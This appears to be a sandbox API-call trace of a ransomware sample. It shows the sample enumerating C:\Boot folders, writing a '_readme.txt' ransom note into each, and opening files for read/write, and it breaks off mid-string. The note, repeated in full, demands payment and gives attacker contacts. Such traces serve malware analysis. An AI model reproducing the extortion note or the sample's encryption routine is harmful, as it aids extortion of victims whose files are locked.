RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.061] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.061] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.061] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.061] PathFindFileNameW (pszPath="") returned="" [0267.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.061] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.062] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.062] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.062] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x81c) returned 0x31099a8 [0267.062] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.062] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0267.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.063] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.063] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.063] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.063] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.063] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0267.063] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.063] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.063] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.063] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.063] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.063] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.063] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.063] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.063] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.063] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.064] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0267.064] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081918 | out: hHeap=0x640000) returned 1 [0267.064] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.064] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.064] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.064] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.064] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.065] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.065] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.067] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0267.067] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.067] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.067] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.067] PathFindFileNameW (pszPath="") returned="" [0267.067] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.067] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.067] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.068] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.068] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.068] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.068] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.068] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0267.068] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0267.068] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.068] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you 